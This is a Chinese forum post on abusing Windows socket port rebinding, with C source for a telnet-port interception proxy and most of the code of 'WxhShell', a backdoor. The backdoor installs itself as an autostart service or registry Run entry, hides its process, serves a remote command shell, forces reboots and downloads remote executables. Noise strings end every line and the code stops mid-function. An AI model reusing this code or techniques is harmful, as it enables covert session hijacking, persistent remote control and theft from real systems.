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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #{,h@g}W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K\^&+7&zVg  
rBfg*r`)  
  saddr.sin_family = AF_INET; GAp!nix6h  
LdEE+"Jw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #U@| J}a  
VQ<5%+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?D=8{!R3  
gp/YjUH7k8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n(R_#,Hs  
w1i?# !|  
  这意味着什么?意味着可以进行如下的攻击: )eR$:uO  
x)R0F\_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?v.Gn9Z&  
woau'7}XOu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) * nCx[  
I?M@5u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^'W%X  
x+^Vg3 q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,sI35I J  
$?f]ZyZr.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =P]GPEz_  
!nzGH*td  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K7RKF$Z\  
oAz<G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x'i0KF   
bl.EIyG>  
  #include wPH+n-&e  
  #include <25ccE9^c  
  #include &7Kb]Ti  
  #include    g1V)$s 7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s0!kwrBsp  
  int main() $G3@< BIN  
  { -u~eZ?(!Ye  
  WORD wVersionRequested; 5"gL.Ez  
  DWORD ret; -tyaE  
  WSADATA wsaData; qZbHMTnT6  
  BOOL val; 0b++ 17aV  
  SOCKADDR_IN saddr; {US>)I  
  SOCKADDR_IN scaddr; fIkT"?  
  int err; G_(ct5:_"!  
  SOCKET s; 5/(sjMB  
  SOCKET sc; !. eAOuq  
  int caddsize; tN!Bvj:C[M  
  HANDLE mt; `]{Psc6_=  
  DWORD tid;   O 6]u!NqG  
  wVersionRequested = MAKEWORD( 2, 2 ); !NA`g7'  
  err = WSAStartup( wVersionRequested, &wsaData ); vJThU$s-  
  if ( err != 0 ) { PWG;&ma  
  printf("error!WSAStartup failed!\n"); y5%5O xB  
  return -1; eJaUmK:  
  } Tk](eQsy.v  
  saddr.sin_family = AF_INET; /.@x 4cdS  
   zq=&4afOE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UN(3i(d  
5M.Red.L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f1\7vEE,  
  saddr.sin_port = htons(23); -( Kh.h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K0 QH?F  
  { |0]YA  
  printf("error!socket failed!\n"); +C5#$5];  
  return -1; 2-7Z(7G{ F  
  } N'a?wBBR  
  val = TRUE; oX{@'B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g-|Kyhr?=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z L8J`W  
  { |?yE^$a  
  printf("error!setsockopt failed!\n"); g/B\ObY  
  return -1;  +Lhe,  
  } hpas'H>J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4UVW#Rw{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PY\W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8W@dtZ,d  
I}_;A<U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wBE7Bv45  
  { G ~A$jStm  
  ret=GetLastError(); T;J7+0  
  printf("error!bind failed!\n"); IqXBz.p  
  return -1; 1]Lhk?4t  
  } ",QYDFFeF  
  listen(s,2); 3?  };  
  while(1) T:6K?$y?  
  { +\srZ<67  
  caddsize = sizeof(scaddr); {x9j_/R  
  //接受连接请求 F$[)Bd/"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %6N)G!P  
  if(sc!=INVALID_SOCKET) 2+o!o  
  { <8*A\&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }|SIHz!R  
  if(mt==NULL) gU+ss  
  { &jt02+Hj'  
  printf("Thread Creat Failed!\n"); o>.AdZby  
  break; p%tE v  
  } $.``OxJk%  
  } We\KDU\n  
  CloseHandle(mt); dV)Y,Yx0${  
  } =,O /,2)  
  closesocket(s); )dqR<)  
  WSACleanup(); 7:z>+AM[r  
  return 0; ' 4,y  
  }   hN[X 1*  
  DWORD WINAPI ClientThread(LPVOID lpParam) *B %y`cj|  
  { Gl.?U;4Z  
  SOCKET ss = (SOCKET)lpParam; ]9#CVv[rq  
  SOCKET sc; 1]Gf)|  
  unsigned char buf[4096]; o T:j:n  
  SOCKADDR_IN saddr; h,]tQ#!s8  
  long num; z/)$D  
  DWORD val; ]F !'M  
  DWORD ret; 3xP~~j;7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JR] )xPI`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -!@H["  
  saddr.sin_family = AF_INET; jiqi!*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WUzS lZq  
  saddr.sin_port = htons(23); hK Fk$A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bAN10U  
  { E2h(w_l  
  printf("error!socket failed!\n"); y2U/$%B)G  
  return -1; :DDO=  
  } y:~eU  
  val = 100; ,|6Y\L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S>.q 5  
  { UVz=QEuYb  
  ret = GetLastError(); P`7ojXy  
  return -1; uijq@yo8-  
  } /g13X,.H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n'q aR<bY  
  { $I\))*a  
  ret = GetLastError(); d:A\<F  
  return -1; ^g}L`9fL  
  } rFf :A-#l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hJecCOA)'  
  { >9 q]>fJ  
  printf("error!socket connect failed!\n"); wj}=@HS,3!  
  closesocket(sc); )t*S 'R  
  closesocket(ss); < }<#W/  
  return -1; qi( &8in  
  } SRP5P,-y  
  while(1) nWKO8C>  
  { ,m2A p\l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hT.4t,wa8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EV:_Kx8fP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Vp|2wlFE-  
  num = recv(ss,buf,4096,0); yZ?xt'tn  
  if(num>0) JtSuD>H`"  
  send(sc,buf,num,0); r;c' NqP  
  else if(num==0) W^^K0yn`@  
  break; =s`XZkh  
  num = recv(sc,buf,4096,0); ,?C|.5  
  if(num>0) &/ \O2Aw8  
  send(ss,buf,num,0); 7ESN!  
  else if(num==0) mYntU^4f  
  break; _TtX`b_Z  
  } -b].SG5S  
  closesocket(ss); 1R5Yn(  
  closesocket(sc); s.|!Ti!]  
  return 0 ; xt? 3_?1  
  } AmP#'U5  
ue,#, 3{m  
-L+\y\F  
========================================================== OD{5m(JwL  
PthId aN@  
下边附上一个代码,,WXhSHELL ;7;zhJs1t  
n/ui<&(  
========================================================== {CW1t5$*  
0eQ~#~j&  
#include "stdafx.h" _Syre6k  
K%98;e9  
#include <stdio.h> pGO|~:E/L  
#include <string.h> eV"dv*R  
#include <windows.h> ^wvH,>Yo  
#include <winsock2.h> Gtj (  
#include <winsvc.h> D-'i G%)kA  
#include <urlmon.h> ev~dsk6k  
m"96:v  
#pragma comment (lib, "Ws2_32.lib") $Sp*)A]E`  
#pragma comment (lib, "urlmon.lib") I8 %d;G~  
!Sh^LYqn  
#define MAX_USER   100 // 最大客户端连接数 h`z2!F4  
#define BUF_SOCK   200 // sock buffer @WhZx*1  
#define KEY_BUFF   255 // 输入 buffer *jYHd#UZx4  
|^YzFrc  
#define REBOOT     0   // 重启 C!oS=qK?]  
#define SHUTDOWN   1   // 关机 RY>)eGJ  
pem3G5 `g=  
#define DEF_PORT   5000 // 监听端口 F% F c+?  
b=6MFPbg  
#define REG_LEN     16   // 注册表键长度 SZCF3m&pz  
#define SVC_LEN     80   // NT服务名长度 aO~s i=  
L~@ma(TV{K  
// 从dll定义API clh3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SQ1M4:hP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M'pb8jf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2#>$%[   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FZ[@])B  
X=rc3~}f  
// wxhshell配置信息 '"!z$i~G=  
struct WSCFG { `,F&y{ A  
  int ws_port;         // 监听端口 u5xU)l3  
  char ws_passstr[REG_LEN]; // 口令 >wz;}9v  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4^ d+l.F  
  char ws_regname[REG_LEN]; // 注册表键名 <_##YSGh,  
  char ws_svcname[REG_LEN]; // 服务名 7P3 <o!YA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xi '72  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Tns?mQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y|{r vBKjf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >yV)d/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nrab*K(][  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dzjBUD  
b*I&k":  
}; .Q=2WCv0  
>P6^k!R1y  
// default Wxhshell configuration {0NsDi>(2  
struct WSCFG wscfg={DEF_PORT, #rn4 $  
    "xuhuanlingzhe", k| _$R?  
    1, g@S@d&9  
    "Wxhshell", `jD8(}_  
    "Wxhshell", OqfhCNAY  
            "WxhShell Service", 9 _M H  
    "Wrsky Windows CmdShell Service", )bB"12Z|8  
    "Please Input Your Password: ", J8sJ~FnUj  
  1, N.fQ7z=Z(M  
  "http://www.wrsky.com/wxhshell.exe", { 4_I7r  
  "Wxhshell.exe" ,wwU` U  
    }; LG/=+[\{E  
rh:s 7  
// 消息定义模块 Z^/z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fWtb mUq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \N# HPrv}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f"5lOzj`C  
char *msg_ws_ext="\n\rExit."; vh1 Ma<cx  
char *msg_ws_end="\n\rQuit."; !uj!  
char *msg_ws_boot="\n\rReboot..."; nhVK?  
char *msg_ws_poff="\n\rShutdown..."; [M7iJcwt  
char *msg_ws_down="\n\rSave to "; ~>}dse  
6i9Q ,4~  
char *msg_ws_err="\n\rErr!"; p"hm.=,  
char *msg_ws_ok="\n\rOK!"; ++J Bbuzj!  
.XV]<)<K$  
char ExeFile[MAX_PATH]; dK0}% ]i3#  
int nUser = 0; |g7nh[  
HANDLE handles[MAX_USER]; ])Q9=?Sd}  
int OsIsNt; U(S@1i(  
)[y!m9Vn  
SERVICE_STATUS       serviceStatus; {a+Fx}W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bGMeBj"R  
7.lK$J:  
// 函数声明 8 7|8eU2:k  
int Install(void); 3<KZ.hr  
int Uninstall(void); c"f-$^<  
int DownloadFile(char *sURL, SOCKET wsh); 7(A G]  
int Boot(int flag); %9~kA5Qj  
void HideProc(void); KV^:sxU  
int GetOsVer(void); ^-e3=&  
int Wxhshell(SOCKET wsl); ~WYE"(  
void TalkWithClient(void *cs); 75hFyh;u  
int CmdShell(SOCKET sock); PK.h E{R  
int StartFromService(void); {|Mxvp*Hg  
int StartWxhshell(LPSTR lpCmdLine); M/8#&RycQ  
n3HCd- z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #whO2Mv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V\k5h  
Pq{YZMr  
// 数据结构和表定义 ;i-D~Np|  
SERVICE_TABLE_ENTRY DispatchTable[] = VuO)  
{ .swgXiRvs  
{wscfg.ws_svcname, NTServiceMain}, +e\:C~2f28  
{NULL, NULL} }Yo15BN+  
}; .=b +O~  
XDrlJvrPL  
// 自我安装 [kp7LA"`  
int Install(void) W)$|Hm:H  
{ 5Re`D|8  
  char svExeFile[MAX_PATH]; v:J.d5  
  HKEY key; :nbW.B3GV  
  strcpy(svExeFile,ExeFile); #/XK&(X  
eHnei F  
// 如果是win9x系统,修改注册表设为自启动 wNf*/? N  
if(!OsIsNt) { t;e]L'z@:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H~_^w.P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tl/Dq(8JH  
  RegCloseKey(key); soQv?4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,39$iHk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~qLhZR\g^  
  RegCloseKey(key); UQji7K }  
  return 0; +poIgjq0  
    } v0jz)z<#  
  } %. 6?\w1e  
} g6a3MJV`  
else { -JyODW#j  
i_ODgc`H  
// 如果是NT以上系统,安装为系统服务 )H37a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R=Ly49  
if (schSCManager!=0) C"m0"O>  
{ tpx3:|  
  SC_HANDLE schService = CreateService <,]CVo  
  ( |z<wPJ,;2  
  schSCManager, $O]E$S${  
  wscfg.ws_svcname, ae(]9VW  
  wscfg.ws_svcdisp, )S;Xy`vO  
  SERVICE_ALL_ACCESS, `w+9j-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3sg)]3jm2  
  SERVICE_AUTO_START, _I70qz8  
  SERVICE_ERROR_NORMAL, Ci#5@Q9#w  
  svExeFile, OHtZ"^YG  
  NULL, hDkqEkq1R  
  NULL,  ~NW5+M(u  
  NULL, [2j (\vC!  
  NULL, H R!>g  
  NULL koWb@V]  
  ); Y ,pS/  
  if (schService!=0) Mb/6>  
  { PJ11LE  
  CloseServiceHandle(schService); 2DBFXhP  
  CloseServiceHandle(schSCManager);  ?Ge*~d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m+gG &`&u  
  strcat(svExeFile,wscfg.ws_svcname); %Pvb>U(Xs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !\k#{ 1[!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y88}f&z#5  
  RegCloseKey(key); {ZIFj.2  
  return 0; buM>^A"  
    } w-Q 6 -  
  } \3Ald.EqtM  
  CloseServiceHandle(schSCManager); nTtt$I@hW  
} I(kIHjV|  
} m"m;(T{ v  
h}:5hi Jw  
return 1; {R8P $  
} jeuNTDjeL  
BRok 89  
// 自我卸载 xg5@;p  
int Uninstall(void) au}0PnA;  
{ u$/2XO  
  HKEY key; ib=^ tK  
fF]&{b~wk  
if(!OsIsNt) { Gt%?[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vFvu8*0  
  RegDeleteValue(key,wscfg.ws_regname); C%7)sLWjJS  
  RegCloseKey(key); P;91C'T-x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4y}a,  
  RegDeleteValue(key,wscfg.ws_regname); ^d $e^cU  
  RegCloseKey(key); U &k 3  
  return 0; Pc ?G^ Xol  
  } F1[ [fH  
} 3\l9Sf=M|  
} ]~ 8N  
else { <.B > LU  
mt]YY<l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wU3ica&[   
if (schSCManager!=0) 5OqsnL_V  
{ tZBE& :l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UHl/AM> !  
  if (schService!=0) t:@A)ip  
  {  >33b@)  
  if(DeleteService(schService)!=0) { <^c0bY1  
  CloseServiceHandle(schService); nk,Mo5iqV  
  CloseServiceHandle(schSCManager); T`<k4ur  
  return 0; O*Pe [T5x'  
  } R/FV'qy]  
  CloseServiceHandle(schService); Ytnr$*5.  
  } Us~wv"L=UX  
  CloseServiceHandle(schSCManager); QS?9&+JM|  
} mb6?$1j  
} [goPmVe+  
#"YWz)8  
return 1; -ddatc|  
} x=|@AFI  
{j4:. fD  
// 从指定url下载文件 w)SxwlW}  
int DownloadFile(char *sURL, SOCKET wsh) _Ws k3AP  
{ tJfN6  
  HRESULT hr; bD[W~ku  
char seps[]= "/"; \ bmboNe  
char *token; JM9Q]#'t  
char *file; -@?>nLQb  
char myURL[MAX_PATH]; bN %MT#X  
char myFILE[MAX_PATH]; ) G&3V  
UdgI<a~`k6  
strcpy(myURL,sURL); Uy'ZL(2  
  token=strtok(myURL,seps); " yl"A4p S  
  while(token!=NULL) `X03Q[:q"[  
  { uXa}<=O  
    file=token; u"$HWB~@z  
  token=strtok(NULL,seps); 7#*CWh1BNO  
  } .ihn@eg  
I,Y^_(JW  
GetCurrentDirectory(MAX_PATH,myFILE); 4tu>~ vOE  
strcat(myFILE, "\\"); =U|SK"oO  
strcat(myFILE, file); |L-juT X9  
  send(wsh,myFILE,strlen(myFILE),0); ?^GsR[-x  
send(wsh,"...",3,0); -+Ji~;b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5. UgJ/  
  if(hr==S_OK) J, U~ .c  
return 0; j-E>*N}-_  
else D"aQbQP  
return 1; 6j![m+vo%  
l),13"?C(  
} 32'9Ch.  
%R"nm  
// 系统电源模块 :#KURYO<  
int Boot(int flag) } +Z;zm@/6  
{ SvJ8Kl OV  
  HANDLE hToken; E*"E{E7  
  TOKEN_PRIVILEGES tkp; v^E2!X  
+ a@SdWf  
  if(OsIsNt) { X2kLbe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bTKxv<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g{{SY5qDj  
    tkp.PrivilegeCount = 1; U^S:2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nrhpI d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4tKf  
if(flag==REBOOT) { AMfu|%ZL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7-B'G/PS/  
  return 0; 9Dkgu ^`  
} k(^b  
else { skArocs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ki\jiflc7  
  return 0; g-uFss  
} ee\zU~  
  } \wd`6  
  else { GY :IORuA4  
if(flag==REBOOT) { Ghe=hhZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JYU Ks~Qt  
  return 0; *xKR;?.  
} t":>O0>cz  
else { +}'K6x_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m>:ig\  
  return 0; nJw1Sl5  
} l,8| E  
} #r}c<?>Vw  
(P_+m#  
return 1; AIo;\35  
} |%9~W^b  
[a6lE"yr  
// win9x进程隐藏模块 3F3?be  
void HideProc(void) >0$5H]1u  
{ >H! 2Wflm  
w| # 79,&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9 f+7vCA  
  if ( hKernel != NULL ) S)h1e%f, f  
  { =]Bm>67"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =^}2 /vA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u^9,u/gj  
    FreeLibrary(hKernel); 7MfvU|D[d/  
  } Jl}7]cVq#  
~=Sr0+vV  
return; ;T(^riAEl  
} b`=rd 4cpU  
9bvd1bKEW  
// 获取操作系统版本 Kep?=9r4+  
int GetOsVer(void) ?whp _  
{ O^ hV<+CX  
  OSVERSIONINFO winfo; ]e9kf$'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I}{eYXh  
  GetVersionEx(&winfo); 0U~JSmj:2K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]|(?i ,p  
  return 1; RUO6Co-  
  else IS~oyFS  
  return 0; ^.7xu/T  
} u[@*}|uXM  
%*hBrjbj  
// 客户端句柄模块 B dUyI_Ks:  
int Wxhshell(SOCKET wsl) 6<R U~Gh  
{ &kt#p;/p?  
  SOCKET wsh; VI{1SIhfa  
  struct sockaddr_in client; +!wc(N[(2  
  DWORD myID; xDS9gGr  
=X):Zi   
  while(nUser<MAX_USER) %0'f`P6  
{ oKiu6=  
  int nSize=sizeof(client); zyE yZc?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v%w]Q B  
  if(wsh==INVALID_SOCKET) return 1; fk_i~K  
.l!Z=n|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^ TS\x/P  
if(handles[nUser]==0) MvA_tRO  
  closesocket(wsh); }W J`q`g  
else rL/+`H  
  nUser++; 9:WKG'E8a  
  } Ig2VJs;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [;bLlS,  
uq_SF.a'v  
  return 0; "k/x+%!Spc  
} nNr3'6lz  
BH1To&ol  
// 关闭 socket Kk#@8h>  
void CloseIt(SOCKET wsh) wO9<An  
{ Z'~FZRF  
closesocket(wsh); t<=L&:<N  
nUser--; I&9B^fF6  
ExitThread(0); 1['A1 ,  
} c1f6RCu$b  
EOiKwhrV  
// 客户端请求句柄 P:o<kRj1  
void TalkWithClient(void *cs) ' =kX   
{ :0l(Ll KD  
))vwofkw4  
  SOCKET wsh=(SOCKET)cs; l%O-c}X  
  char pwd[SVC_LEN]; 3`y:W9!u  
  char cmd[KEY_BUFF]; A{k@V!A%  
char chr[1]; {u5@Yp  
int i,j; ? "gy`oCv  
6r`g+Js/  
  while (nUser < MAX_USER) { h=aHZ6v  
d>}%A ]  
if(wscfg.ws_passstr) { 2t'&7>Ys{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :>;#/<3{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J&?kezs  
  //ZeroMemory(pwd,KEY_BUFF); S;C3R5*:  
      i=0; POf \l  
  while(i<SVC_LEN) { &N#)(rQ1  
! ^W|;bq  
  // 设置超时 }`X$ '  
  fd_set FdRead; b]~M$y60q  
  struct timeval TimeOut; Hcpw [%(  
  FD_ZERO(&FdRead); K|&y?w  
  FD_SET(wsh,&FdRead); (.cT<(TB  
  TimeOut.tv_sec=8; d0,I] "  
  TimeOut.tv_usec=0; "v06F j>q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )]}*oO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A, os rv  
q:'(1y~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6m]L{ buP  
  pwd=chr[0]; J';tpr  
  if(chr[0]==0xd || chr[0]==0xa) { >Y:ouN~<  
  pwd=0; >3JOQ;:d8  
  break; DI\^ +P  
  } 7D,+1>5^Ne  
  i++; wsARH>Vz  
    } 0t~--/lA  
x8H)m+AW  
  // 如果是非法用户,关闭 socket Hi9]M3Ub  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;J:YNup  
} p81~Lk*Hz@  
JBqzQ^[n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j EX([J1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Vubz54  
_^B+Xo@E-  
while(1) {  _R ]1J0  
nL$tXm-x  
  ZeroMemory(cmd,KEY_BUFF); Au {`o xD  
zAH+{4lC+  
      // 自动支持客户端 telnet标准   k $);<= ZI  
  j=0; `>V.}K^4  
  while(j<KEY_BUFF) { h ( Z7a%_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O;XF'r_  
  cmd[j]=chr[0]; Og["X0j  
  if(chr[0]==0xa || chr[0]==0xd) { uGv+c.~[j  
  cmd[j]=0; 1+^c3Dd`  
  break; %l,Xt"nS#  
  } !#r]f9QP  
  j++;  i J\#su  
    } :+YFO.7  
pyNPdEy  
  // 下载文件 k";;Snk  
  if(strstr(cmd,"http://")) { aRV<y8{9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1F=x~FMvY  
  if(DownloadFile(cmd,wsh)) 6};Sn/ 8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y3thW@mD05  
  else }>j$Wr_h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bg3^BOT  
  } @=9QV3D  
  else { `1P &  
~6OdPD  
    switch(cmd[0]) { 1q*3V8  
  sU`#d  
  // 帮助 fhC=MJ @  
  case '?': { fF9vV. }  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (YR1ML3N  
    break; F2u{Wzr_@  
  } bZ389dSn  
  // 安装 kqy Y:J  
  case 'i': { 0]Li "Wb  
    if(Install()) ]t,ppFC#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qn<~ LxQ  
    else ^Ab|\ 5^3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oz+>I ^Q  
    break; ]!f=b\-Av  
    } _K9jj  
  // 卸载 A_[65'*b  
  case 'r': { =.uE(L`]NA  
    if(Uninstall()) }NUP[%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ut o4bs:  
    else Kp"o0fh<9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Wo,^qR  
    break; hWUZn``U$|  
    } #bGt%*Re p  
  // 显示 wxhshell 所在路径 SDot0`s>  
  case 'p': { Uzc`,iV$  
    char svExeFile[MAX_PATH]; rod{77  
    strcpy(svExeFile,"\n\r"); 8U-}%D<a  
      strcat(svExeFile,ExeFile); 1|zo -'y  
        send(wsh,svExeFile,strlen(svExeFile),0); {RzlmDStV  
    break; <$UY{"?  
    } O|8p #  
  // 重启 rc"Z$qU?  
  case 'b': { U#Ud~Q q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t]Oxo`h=  
    if(Boot(REBOOT)) nTLdknh"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +VTMa9d  
    else { 8&3G|m1-2  
    closesocket(wsh); m:'fk;khN  
    ExitThread(0); N!,@}s  
    } zW\&q!`IRP  
    break; #t;@x_2yD\  
    } -qs9a}iL  
  // 关机 WT1ch0~2  
  case 'd': { P[D ^*}  
